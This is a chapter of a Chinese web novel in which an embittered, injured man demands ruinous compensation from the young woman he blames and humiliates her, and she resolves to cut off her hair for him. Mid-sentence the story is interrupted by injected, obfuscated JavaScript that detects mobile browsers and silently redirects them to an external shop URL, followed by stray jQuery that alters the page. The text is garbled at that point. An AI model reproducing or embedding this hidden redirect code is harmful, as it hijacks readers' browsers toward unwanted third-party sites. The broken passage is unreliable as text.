自己的东西,认不出来吗?
殷非异不想回答她这没有意义的傻话。
陆珥不明白他复杂的心情,犹豫过后,她把唇膏重新放回他的柜子上。
殷非异肯定不想让她碰他的私人物品。
她就不自讨没趣了。
她乖乖扫起了玻璃渣。
因为病房内太阴暗了,她看不清楚,扫得很仔细。
等做完了该做的事,她一抬头,才看到幽暗中凝视她的那一双眼睛。
殷非异一直盯着她。
他在想什么?
她感到不安,犹豫半晌,还是觉得应该说点什么,打破一下这让人冒冷汗的安静。
她吸了一口气,故作开朗:“这周我赚到钱了。这个工作还挺适合我的,我每天学习新知识,下个周准备再……”
“我不是你的老板。”殷非异漠然打断她。
他没有兴趣听她做工作汇报。
“……我知道了。”陆珥在心中划掉了这个话题。
也是,他也不在乎她的日常。
给他“结果”就行了。
她掏出了牛皮纸袋,往他面前一放。
见殷非异投来目光,她解释:“我带钱来了。有点薄——下周会更多的。”
这是她第二次给他钱。
上一次,殷非异感到难以容忍的耻辱。
但这一次他没有发怒。
他轻声告诉她:“不够,差得太多。”
“住院,医疗,药,你没来的这七天,费用合计十八万。”
陆珥倏地睁大眼睛。
——她就说这私立医院很贵!这费用,也太吓人了!
殷非异心中生出怨毒的快意。
既然她要用“钱”摆平他,他就跟她谈钱。
他欣赏着她慌乱的表情,再度加码:“这段时间,我无法工作,公司因此停摆,损失……超过二十亿。”
他随便说了一个数。
他出事后,股价大跌,合作破裂,有心之人趁火打劫,一切摇摇欲坠,他的损失远比这多得多。
所有人都知道,殷家的长子不行了。
一个残废,永无出头之日了。
陆珥咬住了嘴唇,以免吐出脏话。
骗她的吧?
怎么可能!
殷非异道:“现在,你可以赔偿了。”
陆珥茫然地看着他。
不得不说,听到这个数字之后,她的压力竟全都消失了。
如果说十八万她还能努力,二十亿就离她太遥远了。
——反正不可能赔的起。
她嗫嚅道:“要不然……”
把她杀了吧。
……但是,她又不想死。
这话便说不出口,她吞吞吐吐,更令人生厌了。
她虚弱道:“能分期吗?最久……能分多少期?”
虽然分期,也还不完。
但她如果能死得晚一点,也算赚了。
殷非异冷冷道:“你没有这个信誉。现在,我给你账号,立刻……”
“对不起!”陆珥打断了他的话。
她简直想捂住他的嘴,但是不敢。
她卑微道:“给我一点时间……”
他下颌紧绷,侧头看向别处,避开她察言观色的目光。
他不愿意让她这样逼视他的脸。
陆珥无意识地靠近了他,带着洗发水的香气和阳光的味道。
扑面而来,让他感到十分不适。
他下意识抓住了将断腿盖住的被子,忽然觉得可笑。
她想要时间。他也想要。
他想要时间倒流,回到什么也没发生的时候。
但是……
“不可能。”他道,“没有时间了。”
他们都没有时间。
陆珥沉默了。
气氛僵硬,她面对现实,骑虎难下。
而他只出题,不解答。
“……那我,该怎么办?”
殷非异指尖的指尖颤了一下。
他听出了她的哽咽。她又哭了。
他故意不去看她,但那双巨大的、噙着泪的眼睛仿佛又出现在他眼前。
凄惨,可怜,真心实意的悲伤。
可殷非异却笑了。
他也想问。
他又该怎么办?他的腿呢?
陆珥觉得自己的心脏在铁盘上煎得滋滋作响。
她反复思考,大脑却一片空白。
现在这个局面,她处理不了。
“你报复我吧。”
她终于把心底的话说了出来,坦白,“我不值钱,也赚不到那么多钱。你看……”
她还记得自己没资格在受害者面前哭泣,硬是把眼泪吞了回去。
她希望当时受伤的是自己,不必背这么重的良心债。
可如果真让她断了腿……扪心自问,她也不甘。
“我是个不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318762|199008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
详的坏人。”她喃喃道。
“你看看,我有哪里可以抵债的?”
“不管是什么,你拿去吧。”
她失去了一切力气,滑下去跪坐在床边,垂下头。
她听他审判。
殷非异终于看向她。
他脸上的笑容,越来越真切。可痛也越来越强烈,让他那半张清隽面孔变得狰狞丑恶起来。
“撒泼。”他点评她,“耍赖。”
不负责任。
“你很擅长假装受害者,让别人做恶人。”
殷非异俯视她,只能看到她漆黑的发顶。
她头发又乱了。
苍白修长的指尖微微严肃,卷起她一缕头发,轻轻一拽。
陆珥被他扯得微痛,慌张地抬起头,下意识扯住他的衣袖。
他要拔她头发吗?就这么拔下来的话,她有点……害怕。
殷非异看向她细弱无力的指尖,了然:“嘴上说着让我全部‘拿走’,却舍不得几根头发。你太宠爱自己,也太……瞧不起我了。”
他松开手,点在她的头顶一推,她往后仰了一下。
黑发散乱,她的脸色惨白,惶恐狼狈地仰望着他。
她强忍许久的眼泪顺着脸颊流下来了,她匆忙地擦,假装她没哭过。
可她脸上又多了一抹红色。
陆珥的手刚才撑在地板上,没清干净的细小碎片割破了。
他心脏忽然抽了一下。
殷非异觉得眩晕,呕吐欲让他喉结滚动。
他抬起手,挥开她:
“别再拿你的零钱恶心我——你想一想,求饶的办法。”
“下一回,凄惨一点,让我高兴……滚吧。”
离开医院后,坐在地铁上,陆珥神经质地摸着自己的头发。
一缕又一缕,从头顶顺下来,一直到发尾。
撕扯她的头发,他是想干这个吗?
他说她舍不得头发。
他要吗?
她吞咽了一下。
长发留了很多年,她修修剪剪,长度到腰。
这段时间她没心思护理,头发变得枯燥蓬乱。
她又摸了两把,忽然起身,下了地铁。
她找了一家街边的理发店,排队洗头理发。
剃秃。
她凝重思考:
剪下来的头发该用皮筋一捆,还是精致一点,扎麻花辫?
下回装袋给殷非异送去。